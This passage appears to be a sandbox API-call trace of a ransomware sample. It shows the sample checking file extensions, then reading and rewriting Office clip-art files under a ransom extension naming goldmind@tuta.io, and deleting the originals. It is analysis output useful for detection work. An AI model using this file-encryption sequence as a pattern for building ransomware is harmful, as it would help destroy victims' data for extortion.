SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.613] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf")) returned 1 [0094.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0094.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0094.631] lstrlenW (lpString=".doc") returned 4 [0094.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.631] lstrlenW (lpString=".docx") returned 5 [0094.631] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.631] lstrlenW (lpString=".pdf") returned 4 [0094.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.631] lstrlenW (lpString=".xls") returned 4 [0094.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.631] lstrlenW (lpString=".xlsx") returned 5 [0094.631] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.631] lstrlenW (lpString=".ppt") returned 4 [0094.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0094.631] lstrlenW (lpString=".zip") returned 4 [0094.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.631] lstrlenW (lpString=".rar") returned 4 [0094.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.631] lstrlenW (lpString=".bz2") returned 4 [0094.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.631] lstrlenW (lpString=".7z") returned 3 [0094.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0094.631] lstrlenW (lpString=".dbf") returned 4 [0094.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0094.631] lstrlenW (lpString=".1cd") returned 4 [0094.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0094.631] lstrlenW (lpString=".jpg") returned 4 [0094.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0094.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0094.631] lstrlenW (lpString=".doc") returned 4 [0094.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.631] lstrlenW (lpString=".docx") returned 5 [0094.631] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.631] lstrlenW (lpString=".pdf") returned 4 [0094.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.631] lstrlenW (lpString=".xls") returned 4 [0094.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.631] lstrlenW (lpString=".xlsx") returned 5 [0094.631] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.631] lstrlenW (lpString=".ppt") returned 4 [0094.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0094.632] lstrlenW (lpString=".zip") returned 4 [0094.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.632] lstrlenW (lpString=".rar") returned 4 [0094.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.632] lstrlenW (lpString=".bz2") returned 4 [0094.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.632] lstrlenW (lpString=".7z") returned 3 [0094.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0094.632] lstrlenW (lpString=".dbf") returned 4 [0094.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0094.632] lstrlenW (lpString=".1cd") returned 4 [0094.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0094.632] lstrlenW (lpString=".jpg") returned 4 [0094.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.632] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.632] lstrlenW (lpString="DD01182_.WMF") returned 12 [0094.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0094.632] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=2996) returned 1 [0094.632] CloseHandle (hObject=0x3a0) returned 1 [0094.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x20 [0094.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0094.633] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.633] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0094.633] GetLastError () returned 0x0 [0094.633] ReadFile (in: hFile=0x3a0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0xbb4, lpOverlapped=0x0) returned 1 [0094.640] WriteFile (in: hFile=0x230, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0094.640] ReadFile (in: hFile=0x3a0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.641] WriteFile (in: hFile=0x230, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.641] SetEndOfFile (hFile=0x230) returned 1 [0094.642] CloseHandle (hObject=0x230) returned 1 [0094.642] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.642] SetEndOfFile (hFile=0x3a0) returned 1 [0094.644] CloseHandle (hObject=0x3a0) returned 1 [0094.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.644] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf")) returned 1 [0094.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0094.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0094.645] lstrlenW (lpString=".doc") returned 4 [0094.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.645] lstrlenW (lpString=".docx") returned 5 [0094.645] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.645] lstrlenW (lpString=".pdf") returned 4 [0094.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.645] lstrlenW (lpString=".xls") returned 4 [0094.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.645] lstrlenW (lpString=".xlsx") returned 5 [0094.645] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.645] lstrlenW (lpString=".ppt") returned 4 [0094.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0094.645] lstrlenW (lpString=".zip") returned 4 [0094.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.645] lstrlenW (lpString=".rar") returned 4 [0094.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.645] lstrlenW (lpString=".bz2") returned 4 [0094.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.645] lstrlenW (lpString=".7z") returned 3 [0094.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0094.645] lstrlenW (lpString=".dbf") returned 4 [0094.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0094.645] lstrlenW (lpString=".1cd") returned 4 [0094.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0094.645] lstrlenW (lpString=".jpg") returned 4 [0094.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0094.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0094.645] lstrlenW (lpString=".doc") returned 4 [0094.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.645] lstrlenW (lpString=".docx") returned 5 [0094.645] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.645] lstrlenW (lpString=".pdf") returned 4 [0094.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.645] lstrlenW (lpString=".xls") returned 4 [0094.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.645] lstrlenW (lpString=".xlsx") returned 5 [0094.645] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.645] lstrlenW (lpString=".ppt") returned 4 [0094.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0094.646] lstrlenW (lpString=".zip") returned 4 [0094.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.646] lstrlenW (lpString=".rar") returned 4 [0094.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.646] lstrlenW (lpString=".bz2") returned 4 [0094.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.646] lstrlenW (lpString=".7z") returned 3 [0094.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0094.646] lstrlenW (lpString=".dbf") returned 4 [0094.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0094.646] lstrlenW (lpString=".1cd") returned 4 [0094.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0094.646] lstrlenW (lpString=".jpg") returned 4 [0094.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.646] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.646] lstrlenW (lpString="DD01183_.WMF") returned 12 [0094.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0094.646] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=2296) returned 1 [0094.646] CloseHandle (hObject=0x3a0) returned 1 [0094.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x20 [0094.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0094.647] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.647] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0094.647] GetLastError () returned 0x0 [0094.647] ReadFile (in: hFile=0x3a0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0094.649] WriteFile (in: hFile=0x230, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x900, lpOverlapped=0x0) returned 1 [0094.649] ReadFile (in: hFile=0x3a0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.649] WriteFile (in: hFile=0x230, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.649] SetEndOfFile (hFile=0x230) returned 1 [0094.650] CloseHandle (hObject=0x230) returned 1 [0094.650] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.650] SetEndOfFile (hFile=0x3a0) returned 1 [0094.652] CloseHandle (hObject=0x3a0) returned 1 [0094.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.652] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf")) returned 1 [0094.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0094.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0094.652] lstrlenW (lpString=".doc") returned 4 [0094.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.652] lstrlenW (lpString=".docx") returned 5 [0094.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.653] lstrlenW (lpString=".pdf") returned 4 [0094.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.653] lstrlenW (lpString=".xls") returned 4 [0094.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.653] lstrlenW (lpString=".xlsx") returned 5 [0094.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.653] lstrlenW (lpString=".ppt") returned 4 [0094.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0094.653] lstrlenW (lpString=".zip") returned 4 [0094.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.653] lstrlenW (lpString=".rar") returned 4 [0094.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.653] lstrlenW (lpString=".bz2") returned 4 [0094.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.653] lstrlenW (lpString=".7z") returned 3 [0094.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0094.653] lstrlenW (lpString=".dbf") returned 4 [0094.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0094.653] lstrlenW (lpString=".1cd") returned 4 [0094.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0094.653] lstrlenW (lpString=".jpg") returned 4 [0094.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0094.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0094.653] lstrlenW (lpString=".doc") returned 4 [0094.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.653] lstrlenW (lpString=".docx") returned 5 [0094.653] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.653] lstrlenW (lpString=".pdf") returned 4 [0094.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.653] lstrlenW (lpString=".xls") returned 4 [0094.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.653] lstrlenW (lpString=".xlsx") returned 5 [0094.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.653] lstrlenW (lpString=".ppt") returned 4 [0094.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0094.653] lstrlenW (lpString=".zip") returned 4 [0094.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.653] lstrlenW (lpString=".rar") returned 4 [0094.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.653] lstrlenW (lpString=".bz2") returned 4 [0094.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.653] lstrlenW (lpString=".7z") returned 3 [0094.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0094.653] lstrlenW (lpString=".dbf") returned 4 [0094.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0094.653] lstrlenW (lpString=".1cd") returned 4 [0094.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0094.654] lstrlenW (lpString=".jpg") returned 4 [0094.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.654] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.654] lstrlenW (lpString="DD01186_.WMF") returned 12 [0094.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0094.654] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=8564) returned 1 [0094.654] CloseHandle (hObject=0x3a0) returned 1 [0094.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x20 [0094.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0094.655] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.655] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0094.655] GetLastError () returned 0x0 [0094.655] ReadFile (in: hFile=0x3a0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x2174, lpOverlapped=0x0) returned 1 [0094.656] WriteFile (in: hFile=0x230, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x2180, lpOverlapped=0x0) returned 1 [0094.657] ReadFile (in: hFile=0x3a0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.657] WriteFile (in: hFile=0x230, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.657] SetEndOfFile (hFile=0x230) returned 1 [0094.657] CloseHandle (hObject=0x230) returned 1 [0094.658] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.658] SetEndOfFile (hFile=0x3a0) returned 1 [0094.659] CloseHandle (hObject=0x3a0) returned 1 [0094.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.660] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf")) returned 1 [0094.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0094.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0094.662] lstrlenW (lpString=".doc") returned 4 [0094.662] 